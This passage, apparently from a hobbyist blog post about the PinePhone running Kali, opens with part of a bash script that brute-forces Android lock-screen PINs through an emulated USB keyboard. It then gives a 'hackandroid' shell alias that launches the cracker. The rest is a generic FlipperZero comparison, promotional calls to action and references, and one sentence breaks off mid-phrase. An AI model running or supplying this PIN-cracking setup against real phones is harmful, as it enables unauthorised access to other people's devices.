for (( countdown=$cooldown_time; countdown > 0; countdown-- ))
do
echo -ne "$CLEAR_LINE$MOVE_CURSOR_LEFT" # clear line and move cursor left
echo -ne "[${LIGHT_YELLOW}WAIT${DEFAULT}] "
echo -ne "$countdown"
# Optionally send keys during COOLDOWN EVERY N SECONDS
# note: nodelay works best for sending a single key during cooldown, but is this really a useful feature?
if [[ $SEND_KEYS_STAY_AWAKE_DURING_COOLDOWN_EVERY_N_SECONDS > 0 && $(($countdown % ${SEND_KEYS_STAY_AWAKE_DURING_COOLDOWN_EVERY_N_SECONDS})) = 0 ]]; then
send_keys "$KEYS_STAY_AWAKE_DURING_COOLDOWN" nodelay
fi
# Optionally send keys just before COOLDOWN ends to wake up and dismiss popups, instead of during cooldown
if [[ $SEND_KEYS_DISMISS_POPUPS_N_SECONDS_BEFORE_COOLDOWN_END > 0 && $countdown -eq $SEND_KEYS_DISMISS_POPUPS_N_SECONDS_BEFORE_COOLDOWN_END ]]; then
log_debug "Sending keys to dismiss popups: $SEND_KEYS_DISMISS_POPUPS_AT_COOLDOWN_END"
send_keys "$SEND_KEYS_DISMISS_POPUPS_AT_COOLDOWN_END"
fi
sleep 1
done
# extra sleep so we don't get out of sync with the phone
sleep 1
echo -ne "$CLEAR_LINE$MOVE_CURSOR_LEFT"
fi
fi
done
log_info "End of PIN list reached"
And voila ! Everything automatize in my .bashrc with
alias hackandroid="sudo modprob g_serial; sudo rmmod g_serial;
sudo systemctl start create-fake-keyboard.service;
cd /home/kali/Android-PIN-Bruteforce/;
sudo ./android-pin-bruteforce crack
--config /home/kali/Android-PIN-Bruteforce/config
--length 4"
Next step for me is to implement the content of
PinePhone vs. FlipperZero
When comparing the PinePhone to another darling of the tech enthusiast community, the FlipperZero, the differences and similarities are fascinating. While the FlipperZero is a multi-tool aimed at hacking and testing various systems, the PinePhone offers a broader, more versatile platform for mobile computing and privacy-focused tasks. Both devices cater to a niche audience, but the PinePhone stands out for its emphasis on mobile privacy, open-source software, and community-driven development.
The Broader Impact and Community
The impact of the PinePhone extends beyond its hardware and software capabilities. It represents a movement towards more transparent, user-controlled technology. The community around the PinePhone is a testament to the power of collective development, with numerous projects, forums, and collaborations focused on enhancing the device’s capabilities and privacy features.
Conclusion
Reflecting on my journey with the PinePhone, it’s clear that this device is more than just a smartphone. It’s a tool for exploration, a platform for privacy, and a beacon for the open-source community. For tech and cyber enthusiasts, the PinePhone offers a unique opportunity to reclaim control over their digital lives and contribute to a more open, privacy-respecting world.
If you’re intrigued by the possibilities of the PinePhone or have your own experiences to share, I’d love to hear from you. Let’s continue the conversation and push the boundaries of what’s possible with technology.
Call to Action
Did you find this deep dive into the PinePhone informative or inspiring? If so, don’t forget to clap and follow for more insights into the world of privacy-focused and open-source technology. Together, we can explore the frontiers of tech freedom and innovation.
If you liked the presentation, clap and follow and I will do a tutorial on how to install custom images on the Pinephone and crafting your own hacking script !
Subscribe to my Medium publication for more tech insights:
Follow me on Twitter for updates and more
Let’s keep pushing the boundaries of what’s possible, one open-source project at a time. 🚀📱
References
- Pine64 Official Website: For comprehensive information on the PinePhone’s specifications, operating system options, and community projects. Visit Pine64
- Kali Linux on the PinePhone: A detailed guide and resources for installing Kali Linux on the PinePhone, provided by the official Kali Linux website. Kali Linux for PinePhone
- PinePhone Community Forums: Engage with the PinePhone community, share experiences, and get support for various projects related to the PinePhone. PinePhone Forums
- FlipperZero Official Website: For a closer look at the FlipperZero, its features, and its community-driven projects. Visit FlipperZero